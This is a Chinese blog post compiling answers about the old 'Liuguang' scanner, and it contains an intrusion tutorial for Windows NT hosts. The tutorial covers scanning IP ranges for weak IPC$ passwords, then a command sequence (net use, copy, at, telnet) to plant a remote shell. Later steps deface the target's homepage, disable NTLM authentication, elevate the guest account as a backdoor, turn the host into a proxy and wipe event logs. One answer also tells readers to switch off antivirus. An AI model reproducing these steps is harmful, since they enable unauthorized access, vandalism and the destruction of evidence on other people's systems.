置顶

流光软件攻击原理_光流跟踪原理

作者:hacker | 分类:渗透破解 | 浏览:95 | 日期:2022年08月04日

文章目录:

流光入侵软件怎么用?

流光其实就是扫描系统漏洞,端口等的软件,它只是给黑客提供一些信息,黑客用这些信息来分析。入侵还要有专门的软件。明白不

“流光”是怎样的软件 ?

流光的破解可分为5大部分:

一、POP3/FTP/…探测

二、IPC探测

三、SQL探测

四、高级扫描

五、其它 …

因为开发时间的原因,上面的探测模式略有不同,所以分成了四个部分,本教程说的是第一个部分的探测。后面的探测模式应该属于流光的高级应用了:)

流光的IPC探测:

一、目的和任务:

1、用流光的IPC探测获得一台NT主机的管理权限,并将这台主机做成一个跳板/代理。

2、学习IPC探测的相关知识。

二、探测流程:

1、你得有流光,我这里试验用的是流光2001.FOR Win2000 中文版。FOR Win98的不可以。因为IPC连接功能是NT/ 2000提供的功能。而且流光FOR 2K 要求你的操作系统得是NT/2000,否则流光启动会失败!

什么是IPC:

IPC是指"InterProcess Communications",准确的说是ipc$,是默认的在系统启动时的admin共享。

IPC$是Windows NT/2K中特有的远程网络登陆功能,它的特点是在同一时间内,两个IP之间只允许建立一个连接。

注意,你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。

可不可以通过IPC$暴力破解密码?当然可以 ! 不过,是不是太笨了点 …

2、首次启动流光,会看到注册的画面,具体操作请参考本人第一篇教程。我们在主页面上可以有几种方法来通过IPC 探测获得管理的权限。这里我们要作的是得到一台跳板,那么就可以用命中率高的办法来探测了(测试一堆IP来得到弱口令)。

在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项,或者直接按Ctrl+R。

3、出先了上面的小窗口,输入我们要破解的IP段,我们输入了来看看。图main2我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令,这样可以加快扫描的速度 :)填入IP,选择扫描NT/98主机

4、探测中……

(注意如果你要探测的是流光保留的国内的IP段,会被禁止的,也就是探测的时候信息栏出现"IP保留"的字样)

有远程主机的管理密码了,我们剩下的就是想办法控制它了,有什么好办么? :)有的是 !自己看看工具-菜单下的IIS远程命令:)是不是很简单呢,我以后在说,今天还是先练习net 命令吧。

黑了他 !

开个dos prompt 执行如下命令,本次用的例子如下图。

1、 net use \\对方ip\ipc$ "密码" /user:"用户名" || 建立远程连接

2、 copy icmd.exe \\对方ip\admin$ || admin$是对方的winnt目录 :) 这里文件多。

3、 net time \\对方IP || 看看对方的本地时间

4、at \\对方ip 启动程序的时间 启动程序名 启动程序的参数 || 用at命令来定时启动程序,在这里我们用soon这个程序来做也可以,它可以取代 3/4两步。

5、 telnet 对方ip 端口 ||

6、输入pass (如果不是用icmd.exe,或者没有设置口令就不用了) ||

7、在开个窗口,继续copy 我们用的东西。 copy sock.exe copy ntlm.exe copy cl.exe clear.exe

如果我们真的想黑了他,只需要把我们的首页文件覆盖目标的首页就ok了,我们可以通过dir /s default.htm或者dir /s index.htm 来确定对方首页的为止,一般是在X:\interpub\wwwroot\ .

假如首页文件是default.htm并且在c:\interpub\wwwroot,这样:copy default.htm \\ip\c$\interpub\wwwroot

下面的图有演示

8、其实黑人家是很低级并且没意思的:(,我们最好是物有所有,作成跳板吧,今后干活方便点:

执行我们copy 过去的ntlm.exe ,取消验正。在给自己留个后门,比如提升guest的权限,或者其它的后门工具,这类东西多了自己选吧,看看杀手copy的那堆东西 :)

9、还能做成其他的么 ?

当然了,只要你有时间,并且愿意做,我曾经偷偷的把自己的主页放到人家的server上,速度快、空间无限,嘿嘿 :)

10、日志清除,断开连接 :

执行我们copy 过去的cl.exe clear.exe 都可以清除日志,比如clear all :清除所有的日志。然后在断开连接:net use \\ip\ipc$ /delete

为什么流光软件有那么多病毒?尝试了几个网站下载都是这样。望有经验的高手告诉我,谢谢了

兄弟,先请你记住一句话:怕病毒就别玩黑客```

流光本身就被杀软判断为病毒```

因为它集中了相当多的黑客功能```

一般不是别人在流光捆绑病毒```

而是流光本身是病毒```就如灰鸽子```

他的服务端可以生成木马```

所以它本身被判定为病毒```

为什么流光5总被卡巴斯基杀掉

流光是一种比较老的黑客软件,很容易被杀掉,不止是卡巴,还有若顿等也可以把它杀掉,其实它根本不是病毒,只是内部的某些程序和病毒相似,因此很多杀毒软件会把它当病毒杀掉,事实上很多黑客软件都会被杀。

你可以放心使用,它并不是病毒。使用时关闭杀毒软件,平时把它压缩起来,这样就不会被杀掉了。

流光软件是干什么的?

流光是黑客软件用来扫描端口以及系统漏洞和各方面的信息。来进行攻击。全名叫流光扫描器。

流光 流光 流光(扫描软件)现在还能用吗?怎么用?

能用,流光是用来扫指定电脑是否有可利用漏洞的小白软件,它只能扫出漏洞,扫出后根据漏洞来攻击,可以把它理解为“雷达”

手机的好累给分

希望对你能有所帮助。

发表评论

访客 游客 2022-08-04 · 回复该评论
的是第一个部分的探测。后面的探测模式应该属于流光的高级应用了:)流光的IPC探测: 一、目的和任务: 1、用流光的IPC探测获得一台NT主机的管理权限,并将这台主机做成一个跳板/代理。 2、学习IPC探测的相关知识。 二、探测流程: 1、你得有流光,我这里试验用的是流光2001.FOR Win200

访客 游客 2022-08-04 · 回复该评论
文章目录:1、流光入侵软件怎么用?2、“流光”是怎样的软件 ?3、为什么流光软件有那么多病毒?尝试了几个网站下载都是这样。望有经验的高手告诉我,谢谢了4、为什么流光5总被卡巴斯基杀掉5、流光软件是干什么的?6、流光 流光 流光(扫

访客 游客 2022-08-05 · 回复该评论
光软件有那么多病毒?尝试了几个网站下载都是这样。望有经验的高手告诉我,谢谢了兄弟,先请你记住一句话:怕病毒就别玩黑客```流光本身就被杀软判断为病毒```因为它集中了相当多的黑客功能

取消
微信二维码
支付宝二维码